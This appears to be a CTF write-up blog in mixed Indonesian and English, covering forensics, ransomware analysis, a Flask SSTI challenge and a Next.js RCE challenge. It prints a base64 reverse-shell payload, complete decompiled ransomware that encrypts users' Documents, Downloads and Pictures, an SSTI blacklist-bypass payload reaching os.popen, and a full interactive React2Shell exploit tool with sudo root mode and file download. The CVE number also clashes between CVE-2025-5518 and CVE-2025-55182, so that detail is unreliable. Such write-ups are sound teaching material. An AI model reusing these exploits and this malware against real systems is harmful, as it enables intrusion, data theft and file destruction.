['CHEM', 'Chemical Ind', 'Materials'], ['PORT', 'Port Services', 'Industrial'], ] export function generateStockData(): Stock[] { return companyNames.map((company, index) => { const basePrice = Math.random() * 10000 + 1000 const change = (Math.random() - 0.5) * 500 const changePercent = (change / basePrice) * 100 const shares = Math.floor(Math.random() * 100000) + 10000 const volume = Math.floor(Math.random() * 10000000) + 1000000 return { id: `stock-${index}`, ticker: company[0], name: company[1], sector: company[2], price: basePrice, change, changePercent, volume, shares, totalValue: basePrice * shares, dayHigh: basePrice + Math.random() * 200, dayLow: basePrice - Math.random() * 200, marketCap: basePrice * shares * (Math.random() * 10 + 5), pe: Math.random() * 30 + 5, dividend: Math.random() * 5, } }) } export function getSectorData() { const stocks = generateStockData() const sectorMap = new Map< string, { value: number; change: number; count: number } >() stocks.forEach((stock) => { const existing = sectorMap.get(stock.sector) || { value: 0, change: 0, count: 0, } sectorMap.set(stock.sector, { value: existing.value + stock.totalValue, change: existing.change + stock.change * stock.shares, count: existing.count + 1, }) }) return Array.from(sectorMap.entries()).map(([name, data]) => ({ name, value: data.value, change: data.change, changePercent: (data.change / data.value) * 100, stocks: data.count, })) } ``` ya itu tinggal di filter aja lah ya yang bagian Technology Answer: `TECH, DIGI, CHIP, CLOUD, ELECT, DATA` ## Q8: Upon the investigation, we sought another potential threat actor compromising the machine from the different IP but we didn't see any plain IOC in the server. It looks like this threat actor was first seen in November before the exfiltration event occurs whereas there has been an unauthorized dependency/package installation in the server which we haven't validated yet. Are you able to find another IP of the attacker and its payload in base64 form? Nah disini nih, yang stuck nya, gw nyari nya tuh package di web nya, ternyata... ![](aseng.png) ternyata dpkg, dan ada attr, yaudah jadi tinggal gini ![](q8.png) ![](tcp1p.png) Answer: `192.168.100.137_c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMTM3LzgyODEgMD4mMQ==` ![](flag.png) Flag: `CJ2025{13bf2db2271d235e2c33dc98d45482b1242df9333402f3e02ca83a9def15ac4b}`

the type of an ordinary ransomware challs

b4r — Sat, 07 Feb 2026 00:00:00 GMT

Disini gw diberikan file .ad1 dan service netcat untuk menjawab soal soal yang diberi di service netcat tersebut, total ada 7 pertanyaan. ### Q1: A suspicious executable was found in the Downloads folder. What is the SHA256 Hash of this malware? Disini untuk menjawabnya, gw perlu meng-dump .exe file nya yang berada di folder Downloads menggunakan FTK Imager, dan cek hask nya ![](q1.png) Answer: `aeb4cc771ae6f76b17ad1e8fb44d69cf5e5cea24adb23af03cae1dc7fd5e743c` ### Q2: The malware targets specific users by incorporating their unique system identifier into the encryption key. What is the SID (Security Identifier) of the infected user? Answer format: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx Disini gw perlu mencari SID dari user yang terinfeksi. Informasi ini tersimpan di registry key `ProfileList` dalam hive `SOFTWARE`. Gw menggunakan `hivexregedit` untuk mengekspor key tersebut. ``` hivexregedit --export --unsafe --prefix 'HKEY_LOCAL_MACHINE\SOFTWARE' SOFTWARE '\Microsoft\Windows NT\CurrentVersion\ProfileList' > sid.reg ``` ```auto Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList] "Default"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,44,00,65,00,66,00,61,00,75,00,6c,00,74,00,00,00 "ProfilesDirectory"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,00,00 "ProgramData"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,44,00,61,00,74,00,61,00,00,00 "Public"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,50,00,75,00,62,00,6c,00,69,00,63,00,00,00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18] "Flags"=dword:0000000c "ProfileImagePath"=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,63,00,6f,00,6e,00,66,00,69,00,67,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,70,00,72,00,6f,00,66,00,69,00,6c,00,65,00,00,00 "RefCount"=dword:00000001 "Sid"=hex(3):01,01,00,00,00,00,00,05,12,00,00,00 "State"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19] "Flags"=dword:00000000 "ProfileImagePath"=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,50,00,72,00,6f,00,66,00,69,00,6c,00,65,00,73,00,5c,00,4c,00,6f,00,63,00,61,00,6c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00 "State"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20] "Flags"=dword:00000000 "ProfileImagePath"=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,50,00,72,00,6f,00,66,00,69,00,6c,00,65,00,73,00,5c,00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00 "State"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-2472383311-4215914088-769331741-500] "Flags"=dword:00000000 "FullProfile"=dword:00000001 "LocalProfileLoadTimeHigh"=dword:01dc91fe "LocalProfileLoadTimeLow"=dword:d39a598b "LocalProfileUnloadTimeHigh"=dword:01dc921b "LocalProfileUnloadTimeLow"=dword:a279ef83 "ProfileAttemptedProfileDownloadTimeHigh"=dword:00000000 "ProfileAttemptedProfileDownloadTimeLow"=dword:00000000 "ProfileImagePath"=hex(2):43,00,3a,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,68,00,6f,00,72,00,73,00,65,00,6d,00,61,00,6e,00,00,00 "ProfileLoadTimeHigh"=dword:00000000 "ProfileLoadTimeLow"=dword:00000000 "RunLogonScriptSync"=dword:00000000 "Sid"=hex(3):01,05,00,00,00,00,00,05,15,00,00,00,4f,93,5d,93,68,be,49,fb,1d,12,db,2d,f4,01,00,00 "State"=dword:00000304 ``` Dari hasil dump registry tersebut, terlihat entry untuk `S-1-5-21-2472383311-4215914088-769331741`. Answer: `S-1-5-21-2472383311-4215914088-769331741` ### Q3: The malware leaves a trace of its initialization within the Windows Event Logs. What is the Event ID used by the malware to log its persistence entry? Sebelumnya karna gw udah dump `malicious` .exe nya, kita bisa cek bahwa binary tersebut ternyata adalah pyinstaller, langsung gw extract ![](q3.png) dan ini hasil dari extract pyinstaller-nya ![](q32.png) kita dapet `updater.pyc`, langsung gw decompile pake pylingual ```py # Decompiled with PyLingual (https://pylingual.io) # Internal filename: 'updater.py' # Bytecode version: 3.14rc3 (3627) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import os import win32evtlog import win32api import win32security import hashlib import base64 import random import string from Crypto.Cipher import AES from Crypto.Util.Padding import pad def get_user_sid(): try: username = win32api.GetUserName() domain = win32api.GetDomainName() sid_obj, _, _ = win32security.LookupAccountName(domain, username) sid_str = win32security.ConvertSidToStringSid(sid_obj) return sid_str except: return 'S-1-5-21-UNKNOWN' def generate_and_log_token(): token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=16)) msg = f'Update service initialized successfully. Reference ID: {token}.' try: h_event_log = win32evtlog.OpenEventLog(None, 'Application') win32evtlog.ReportEvent(h_event_log, win32evtlog.EVENTLOG_INFORMATION_TYPE, 0, 1337, None, [msg], None) except: pass return token def encrypt_specific_folders(sid, token): raw_key = f'{sid}_{token}'.encode() key = hashlib.sha256(raw_key).digest() user_home = os.path.expanduser('~') target_folders = ['Documents', 'Downloads', 'Pictures'] print('[*] Starting encryption...') for folder_name in target_folders: full_path = os.path.join(user_home, folder_name) if not os.path.exists(full_path): continue else: for root, dirs, files in os.walk(full_path): for filename in files: if filename.lower().endswith(('.exe', '.py', '.dll', '.ini')): continue else: filepath = os.path.join(root, filename) try: with open(filepath, 'rb') as f: data = f.read() iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(data, AES.block_size)) enc_filename = base64.b64encode(filename.encode()).decode() output_path = os.path.join(root, enc_filename) with open(output_path, 'wb') as f: f.write(iv) f.write(ciphertext) os.remove(filepath) print(f'[+] Encrypted: {filename}') except Exception as e: pass if __name__ == '__main__': sid = get_user_sid() token = generate_and_log_token() encrypt_specific_folders(sid, token) print('[!] DONE.') ``` dari source yang sudah didapat dari hasil decompile, kita tau bahwa jawabannya adalah `1337` Answer: `1337` ### Q4: Within the description of the event log identified in Question 3, the malware stores a unique "Reference ID" or token. What is the value of this Secret Token? Disini gw pake `EvtxECmd` untuk parsing `Application.evtx` yang berada di path `C:\Windows\System32\winevt\Logs\Application.evtx`, setelah dapet langsung grep `Reference ID` ke Application.evtx ![](q4.png) Answer: `OOM9OV5VPRNIK3S2` ### Q5: To establish an incident timeline, determine the exact time the malware recorded its persistence log. What is the timestamp in UTC? Disini kita tau karna telah mengexport menjadi csv, jadi kita bisa lihat timestampnya ```auto 312,312,2026-01-30 16:02:39.0697403,1337,Info,Application,Application,0,0,horseman,16,,,,,,,,,,,,False,C:\Users\Bara\ceteep\ara7\for\horseman\Application.evtx,0x80000000000000,0,"{""EventData"":{""Data"":""Update service initialized successfully. Reference ID: OOM9OV5VPRNIK3S2."",""Binary"":""""}} ``` kalo berdasarkan data di atas, seharusnya kan jawabannya `2026-01-30 16:02:39`, tetapi saat gw submit salah, jadi gw coba untuk convert ke banyak nya zona waktu, dan salah satunya gw mencoba convert ke UTC 5 ![](q5.png) dan pas coba disubmit, ternyata bener Answer: `2026-01-30 11:02:39` ### Q6: Based on the header analysis of the encrypted files and the malware's logic, identify the encryption algorithm and mode used. Disini karna sebelumnya gw udah decompile `updater.pyc` nya, jadi kita tau bahwa berdasarkan source nya ```py iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(data, AES.block_size)) enc_filename = base64.b64encode(filename.encode()).decode() output_path = os.path.join(root, enc_filename) ``` bahwa algorithm yang digunakan adalah AES dengan mode CBC Answer: `AES-CBC` ### Q7: DATA RECOVERY (FINAL) The user reports losing a critical file named 'confidential.txt' in the Documents folder. Using your findings (SID + Token + IV), decrypt the file and reveal the secret string inside. Dengan menyatukan findinds yang sudah kita dapat, kita bisa membuat decryptor nya seperti ini ```py import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad TOKEN = "OOM9OV5VPRNIK3S2" FILE = "Y29uZmlkZW50aWFsLnR4dA==" candidates = [ "S-1-5-21-2472383311-4215914088-769331741", # domain SID (format Q2) "S-1-5-21-2472383311-4215914088-769331741-500", # full user SID ] data = open(FILE, "rb").read() iv, ct = data[:16], data[16:] for SID in candidates: raw_key = f"{SID}_{TOKEN}".encode() key = hashlib.sha256(raw_key).digest() try: pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), AES.block_size) print("[OK] SID =", SID) print(pt.decode("utf-8")) break except Exception as e: print("[FAIL] SID =", SID, "|", e) ``` ![](q7.png) Answer: `b967081a1a071c25e2c4437e2e124b60b73407ec8eceb52e1eecc00caa1873ba` Nah jawabannya udah kekumpul semua, langsung submit ke netcat service nya ![](flag.png) Answer: `ARA7{GG!_y0u_4r3_4_f0r3ns1c_M4st3r_&_R4ns0mw4r3_hUnT3R_HORSEMAN_SOLVED!!!!}`

LKS internal selection is very fun hahaha...

b4r — Fri, 30 Jan 2026 00:00:00 GMT

# Challenge Description Disoal `insanetemple` ini, kita diberikan source code Flask backend. Mari kita bedah struktur file dan vulnerability-nya. ![](files.png) # 1. Source Code Analysis Mari kita lihat `app.py`: ```python from flask import Flask, request, render_template, render_template_string app = Flask(__name__) BLACKLIST = [ "os","system","class","subprocess","import", "request","self","config","env","eval","exec","locals", "globals", "builtins", "open", "read", "write", "getitem", "subclasses", "mro", "base", "init" ] def is_blacklisted(s): lowered = s.lower() for w in BLACKLIST: if w in lowered: return True return False @app.route("/", methods=["GET", "POST"]) def index(): if request.method == "POST": user_input = request.form.get("template", "") if is_blacklisted(user_input): return render_template("result.html", result="eits ga boleh") try: result = render_template("result.html", result=render_template_string("{{" + user_input + "}}")) except Exception as e: result = f"Error: {e}" return result return render_template("index.html") ``` ## The Vulnerability: SSTI Vulnerability utamanya ada di baris ini: ```python result = render_template("result.html", result=render_template_string("{{" + user_input + "}}")) ``` Fungsi `render_template_string` menerima input user (`user_input`) yang langsung digabungkan (concatenated) dengan kurung kurawal `{{ }}`. Ini adalah textbook definition dari **Server-Side Template Injection (SSTI)**. Apapun yang kita masukkan akan dievaluasi oleh Jinja2 template engine. Jika kita masukkan `7*7`, server akan merender `49`. Jika kita masukkan kode Python berbahaya, server akan mengeksekusinya. ## The Filter: Blacklist Ada `BLACKLIST` yang cukup ketat: ```python BLACKLIST = [ "os","system","class","subprocess","import", "request","self","config","env","eval","exec","locals", "globals", "builtins", "open", "read", "write", "getitem", "subclasses", "mro", "base", "init" ] ``` Fungsi `is_blacklisted` melakukan pengecekan string sederhana (`if w in lowered`). Ini berarti kita tidak bisa mengirim kata-kata seperti "class", "import", "os" secara mentah. Tapi, filter ini punya kelemahan: **dia tidak mengevaluasi template sebelum dicek**. # 2. Construction of the Exploit Kita perlu memutar otak untuk mem-bypass filter ini. Teknik utamanya adalah **String Concatenation** dan **Attribute Access via String**. Jika kita butuh string "globals", kita tidak bisa mengetiknya langsung. Tapi di Python (dan Jinja2), `'glo' + 'bals'` akan menjadi `'globals'`. Filter hanya melihat input mentah `'glo' + 'bals'`, yang tidak mengandung kata terlarang! Mari kita bangun payload step-by-step. ### Step A: Finding a Foothold Kita butuh objek awal. Karena `request`, `self`, `config` di-blacklist, kita cari yang lain. Fungsi `lipsum` (bawaan Jinja2) tidak di-blacklist. **Payload:** `lipsum` ### Step B: Accessing Globals Kita ingin akses `__globals__`, tapi kata "globals" di-blacklist. Solusinya: Gunakan filter `|attr()` dan string concatenation. **Target:** `lipsum.__globals__` **Bypass:** `lipsum|attr('__glo'+'bals__')` ### Step C: Accessing Builtins Dari globals, kita ingin ke `__builtins__` untuk dapat akses fungsi `__import__`. Kata "builtins" di-blacklist. Juga, akses dictionary via `['key']` biasanya memicu `getitem` (yang juga di-blacklist). Untungnya, object global adalah dictionary, jadi punya method `.get()`. **Target:** `globals['__builtins__']` **Bypass:** `...|attr('get')('__buil'+'tins__')` ### Step D: Importing `os` Sekarang kita punya akses ke builtins. Kita butuh fungsi `__import__` untuk load module `os`. Kata "import" dan "os" di-blacklist. **Target:** `builtins['__import__']('os')` **Bypass:** `...|attr('get')('__imp'+'ort__')('o'+'s')` ### Step E: Remote Code Execution (RCE) Kita sudah pegang module `os`. Sekarang kita mau jalankan perintah shell via `popen`. Kata "popen" di-blacklist. **Target:** `os.popen('ls /')` **Bypass:** `...|attr('po'+'pen')('ls /')` ### Step F: Reading the Output `popen` mengembalikan file object. Kita perlu baca isinya pakai `read()`. Kata "read" di-blacklist. **Target:** `result.read()` **Bypass:** `...|attr('re'+'ad')()` # 3. The Final Payload Menggabungkan semua langkah di atas, kita dapat payload raksasa ini: ```python lipsum|attr('__glo'+'bals__')|attr('get')('__buil'+'tins__')|attr('get')('__imp'+'ort__')('o'+'s')|attr('po'+'pen')('ls /')|attr('re'+'ad')() ``` Kirim payload ini ke server, dan boom! ![](ls.png) Kita lihat ada flag file di sana. Tinggal ganti command `ls /` jadi `cat /nama_file_flag`. ![](flag.png) **Flag:** `LKSSMKN24{one_day_i_reincarnated_as_a_ctf_player_with_a_mission_to_conquer_all_the_challenges_before_me_everything_was_fine_until_i_encountered_a_mysterious_python_challenge_that_raised_the_ultimate_question_is_python_even_a_real_language_as_a_tech_enthusiast_i_thought_python_was_my_safe_haven_familiar_and_friendly_but_pyjail_changed_everything_the_more_i_explored_it_the_more_it_felt_like_i_was_trapped_in_a_twisted_game_where_normal_python_rules_didnt_apply_functions_i_once_trusted_betrayed_me_globals_i_needed_disappeared_it_felt_like_i_was_wrestling_with_an_obscure_beast_that_lurks_in_the_dark_corners_of_python_surely_this_cant_be_happening_i_questioned_was_this_even_programming_anymore_or_a_mind_bending_puzzle_beyond_my_comprehension_it_was_as_if_logic_bent_to_the_whims_of_some_cruel_pyjail_overlord_restricting_my_every_move_and_taunting_me_with_imports_i_couldnt_use_yet_i_persisted_because_in_ctf_we_never_quit}`

the first chall about CVE-2025-5518 i've solved

b4r — Tue, 30 Dec 2025 00:00:00 GMT

![](desc.png) ## What is CVE-2025-5518? Sesuai nama challenge, yaitu **react2shell** yang merujuk ke CVE-2025-5518, sebuah Remote Code Execution (RCE) vulnerability di Next.js yang memungkinkan attacker untuk execute arbitrary commands di server. ## The Vulnerable Component Vulnerability ini ada di **Next.js Server Actions** - fitur yang memungkinkan kita membuat server-side functions yang bisa dipanggil langsung dari client-side code. Masalahnya adalah: 1. **Improper Input Validation**: Next.js tidak properly validate multipart form data yang dikirim ke server actions 2. **Prototype Pollution**: Attacker bisa manipulate JavaScript object prototype chain 3. **Code Injection via `_prefix`**: Ada property `_prefix` di response object yang di-evaluate sebagai JavaScript code ## How The Exploit Works Exploit ini bekerja dengan cara: ### 1. **Multipart Form Data Manipulation** Script mengirim specially-crafted multipart form data dengan structure seperti ini: ```json { "then": "$1:__proto__:then", "status": "resolved_model", "_response": { "_prefix": "INJECTED_CODE_HERE", "_formData": { "get": "$1:constructor:constructor" } } } ``` ### 2. **Prototype Pollution Chain** Dengan menggunakan `__proto__` accessor, payload bisa: - Pollute JavaScript object prototype - Inject malicious `then` handler - Access `constructor.constructor` (yang basically adalah `Function` constructor) ### 3. **Code Execution via `_prefix`** Di property `_prefix`, script inject Node.js code yang: ```javascript var res = process.mainModule .require('child_process') .execSync('COMMAND_HERE', { timeout: 5000 }) .toString('base64') ``` Ini akan: - Load `child_process` module - Execute command yang kita mau - Convert output ke base64 - Return output via redirect dengan format: `NEXT_REDIRECT;push;/login?a=${res};307;` ### 4. **Output Extraction** Server bakal redirect ke `/login?a=BASE64_OUTPUT` dan script tinggal extract base64 data dari: - `X-Action-Redirect` header, atau - `Location` header ## The Exploit Script Gw langsung cari script exploit nya di github dan dapet script yang udah include shell interaktif dengan features: - Root mode toggle (execute as sudo) - Command history - File download via base64 encoding - Working directory tracking ```py #!/usr/bin/env python3 """ React2Shell - CVE-2025-55182 Exploitation Suite Provides better command execution and output handling with root support Standalone Version - No external dependencies """ import sys import os import readline import base64 import re import random import string import time from datetime import datetime from urllib.parse import urlparse, unquote try: import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except ImportError: print("Error: 'requests' library required. Install with: pip install requests") sys.exit(1) # Colors RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' MAGENTA = '\033[95m' CYAN = '\033[96m' RESET = '\033[0m' BOLD = '\033[1m' class EnhancedShell: def __init__(self, target_url): self.target = target_url self.history_file = ".shell_history" self.root_mode = False self.current_dir = None self.session = requests.Session() self.session.verify = False self.setup_readline() def setup_readline(self): """Setup command history""" try: readline.read_history_file(self.history_file) except FileNotFoundError: pass readline.set_history_length(1000) def save_history(self): """Save command history""" readline.write_history_file(self.history_file) def generate_junk_data(self, size_bytes): param_name = ''.join(random.choices(string.ascii_lowercase, k=12)) junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes)) return param_name, junk def build_payload(self, cmd): """Construct the CVE-2025-55182 Multipart Payload""" boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad" cmd_escaped = cmd.replace("'", "\\'") # Core RCE Logic prefix_payload = ( f"var res=process.mainModule.require('child_process').execSync('{cmd_escaped}',{{'timeout':5000}}).toString('base64');" f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=${{res}};307;`}});" ) part0 = ( '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,' '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}' ) parts = [] parts.append( f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" f'Content-Disposition: form-data; name="0"\r\n\r\n' f"{part0}\r\n" ) parts.append( f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" f'Content-Disposition: form-data; name="1"\r\n\r\n' f'"$@0"\r\n' ) parts.append( f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" f'Content-Disposition: form-data; name="2"\r\n\r\n' f"[]\r\n" ) parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--") body = "".join(parts) content_type = f"multipart/form-data; boundary={boundary}" return body, content_type def execute_command(self, command, update_cwd=False): """Execute command via HTTP Request""" # Prepare command with CWD and Root handling cmd_with_dir = command if self.current_dir: cmd_with_dir = f"cd {self.current_dir} && {command}" if self.root_mode: # Base64 Pipe Strategy cmd_b64 = base64.b64encode(cmd_with_dir.encode()).decode() final_cmd = f'echo {cmd_b64} | base64 -d | sudo -i 2>&1 || true' else: final_cmd = f"({cmd_with_dir}) 2>&1 || true" # Build Payload body, content_type = self.build_payload(final_cmd) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Next-Action": "x", "X-Nextjs-Request-Id": "b5dce965", "Content-Type": content_type, "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9", } try: # Send Request response = self.session.post( self.target, headers=headers, data=body, timeout=15, allow_redirects=False ) # Parse Output using Regex # 1. Check X-Action-Redirect header redirect_header = response.headers.get("X-Action-Redirect", "") match = re.search(r'.*/login\?a=(.*?)(?:;|$)', redirect_header) if not match: # 2. Check Location header location_header = response.headers.get("Location", "") match = re.search(r'login\?a=(.*?)(?:;|$)', location_header) if match: output_b64 = match.group(1) try: decoded = base64.b64decode(unquote(output_b64)).decode('utf-8', errors='ignore') return decoded.strip() except Exception as e: return f"{RED}[-] Failed to decode output: {e}{RESET}" else: return f"{YELLOW}[!] No output in response (Status: {response.status_code}){RESET}" except requests.exceptions.Timeout: return f"{RED}[-] Request timed out{RESET}" except Exception as e: return f"{RED}[-] Request error: {e}{RESET}" def print_banner(self): """Print shell banner""" # Fixed width of 60 for inner content print(f"{BOLD}{CYAN}╔{'═' * 60}╗{RESET}") # Title centering (Content 31 chars) # 60 - 31 = 29 spaces -> 14 left, 15 right print(f"{BOLD}{CYAN}║{RESET}{' ' * 14}{BOLD}{GREEN}React2Shell - Next.js RCE Shell{RESET}{' ' * 15}{BOLD}{CYAN}║{RESET}") # Target line (Prefix 10 chars, Suffix 2 chars -> 48 chars for target) # Using slice to prevent overflow breaking layout target_display = (self.target[:45] + '...') if len(self.target) > 48 else self.target print(f"{BOLD}{CYAN}║{RESET} {YELLOW}Target:{RESET} {target_display:<48} {BOLD}{CYAN}║{RESET}") # Root Mode line (Prefix 13 chars, Suffix 2 chars -> 45 chars for status) status = 'ON' if self.root_mode else 'OFF' print(f"{BOLD}{CYAN}║{RESET} {YELLOW}Root Mode:{RESET} {status:<45} {BOLD}{CYAN}║{RESET}") # Type line (Prefix 36 chars. 60 - 36 = 24 spaces padding) print(f"{BOLD}{CYAN}║{RESET} {MAGENTA}Type:{RESET} Standalone (No Dependencies){' ' * 24}{BOLD}{CYAN}║{RESET}") print(f"{BOLD}{CYAN}╚{'═' * 60}╝{RESET}") print(f"\n{BOLD}Commands:{RESET}") print(f" {GREEN}.root{RESET} - Toggle root mode (sudo -i)") print(f" {GREEN}.save{RESET} - Save output to file") print(f" {GREEN}.download{RESET} - Download file from target") print(f" {GREEN}.exit{RESET} - Exit shell") print(f" {GREEN}.help{RESET} - Show this help\n") def toggle_root_mode(self): """Toggle root mode""" self.root_mode = not self.root_mode status = f"{GREEN}ENABLED{RESET}" if self.root_mode else f"{RED}DISABLED{RESET}" print(f"{YELLOW}[*]{RESET} Root mode {status}") def save_output(self, output, filename=None): """Save output to file""" if not filename: timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") filename = f"output_{timestamp}.txt" try: with open(filename, 'w') as f: f.write(output) print(f"{GREEN}[+]{RESET} Output saved to: {os.path.abspath(filename)}") except Exception as e: print(f"{RED}[-]{RESET} Error saving file: {e}") def download_file(self, remote_path, local_path=None): """Download file from target used base64 encoding""" if not local_path: local_path = f"downloaded/{os.path.basename(remote_path)}" os.makedirs(os.path.dirname(os.path.abspath(local_path)), exist_ok=True) # Read file via base64 to handle binary data print(f"{YELLOW}[*]{RESET} Downloading {remote_path} (via base64)...") # -w0 to avoid newlines breaking things b64_output = self.execute_command(f"base64 -w0 {remote_path}") if b64_output and "No output" not in b64_output: try: import base64 # Clean up any whitespace/newlines that might have snuck in (though filter should catch them) clean_b64 = b64_output.replace('\n', '').replace('\r', '').strip() file_data = base64.b64decode(clean_b64) with open(local_path, 'wb') as f: f.write(file_data) print(f"{GREEN}[+]{RESET} Downloaded to: {os.path.abspath(local_path)}") print(f"{GREEN}[+]{RESET} Size: {len(file_data)} bytes") except Exception as e: print(f"{RED}[-]{RESET} Failed to decode base64 data: {str(e)}") # Save raw output just in case with open(local_path + ".b64", 'w') as f: f.write(b64_output) print(f"{YELLOW}[*]{RESET} Raw base64 saved to {local_path}.b64 for analysis") else: print(f"{RED}[-]{RESET} Failed to download file (empty or error)") def update_working_directory(self): """Initialize or update working directory""" cwd = self.execute_command("pwd") if cwd and "/" in cwd: self.current_dir = cwd.split('\n')[0].strip() def handle_cd(self, path): """Handle cd command specially""" # Formulate a check command: cd && pwd check_cmd = f"cd {path} && pwd" output = self.execute_command(check_cmd) if output and output.startswith("/"): new_dir = output.split('\n')[0].strip() self.current_dir = new_dir # Don't print pwd output, just silent success like real cd else: print(output or f"{RED}[-]{RESET} Directory not found") def run(self): """Main shell loop""" self.print_banner() # Initial CWD fetch print(f"{YELLOW}[*]{RESET} Initializing shell...") self.update_working_directory() last_output = "" try: while True: try: # Dynamic Prompt prompt_user = f"{BOLD}{RED}root{RESET}" if self.root_mode else f"{BOLD}{GREEN}ubuntu{RESET}" prompt_dir = f"{BOLD}{BLUE}{self.current_dir or '~'}{RESET}" # Simple hostname since we don't scan for it every time prompt = f"{prompt_user}@{BOLD}{CYAN}target{RESET}:{prompt_dir}$ " command = input(prompt).strip() if not command: continue # Handle special commands if command == ".exit": break elif command == ".root": self.toggle_root_mode() # Re-fetch CWD for new user context self.current_dir = None self.update_working_directory() continue elif command == ".help": self.print_banner() continue elif command == ".save": if last_output: self.save_output(last_output) else: print(f"{RED}[-]{RESET} No output to save") continue elif command.split()[0] in [".download", ".dl"]: parts = command.split() if len(parts) < 2: print(f"{YELLOW}[!] Usage: .download [local_path]{RESET}") continue remote_path = parts[1] local_path = parts[2] if len(parts) > 2 else None self.download_file(remote_path, local_path) continue elif command.strip().startswith("cd "): path = command.strip().split(" ", 1)[1] self.handle_cd(path) continue # Execute command output = self.execute_command(command) last_output = output if output: print(output) except KeyboardInterrupt: print(f"\n{YELLOW}[!]{RESET} Use .exit to quit") continue except Exception as e: print(f"{RED}[-]{RESET} Error: {str(e)}") finally: self.save_history() print(f"\n{GREEN}[+]{RESET} Shell session ended") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="React2Shell - Standalone Next.js RCE Shell") parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., https://example.com/)") args = parser.parse_args() shell = EnhancedShell(args.url) shell.run() ``` ## Exploitation & Flag Capture Setelah dapet script, tinggal run exploit dengan target URL dari challenge: ```bash python3 react2shell.py -u http://target-url/ ``` Script ini bakal: 1. Initialize shell connection ke target 2. Fetch working directory untuk tracking `pwd` 3. Provide interactive shell prompt Dari sini gw bisa execute commands seperti: - `ls` - list files - `cat flag.txt` - read flag file - `.root` - toggle root mode kalau perlu privilege escalation - `.download flag.txt` - download file dari server Dan akhirnya dapet flagnya! 🚩 ![](flag.png)

reversing linux kernel is easy (?)

b4r — Fri, 19 Dec 2025 00:00:00 GMT

